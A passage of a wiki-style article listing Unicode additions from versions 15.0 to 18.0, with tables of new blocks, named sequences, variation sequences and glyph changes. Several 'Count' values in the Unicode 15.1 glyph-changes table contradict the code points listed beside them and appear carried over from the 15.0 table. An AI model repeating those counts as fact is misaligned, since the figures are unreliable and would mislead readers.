|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
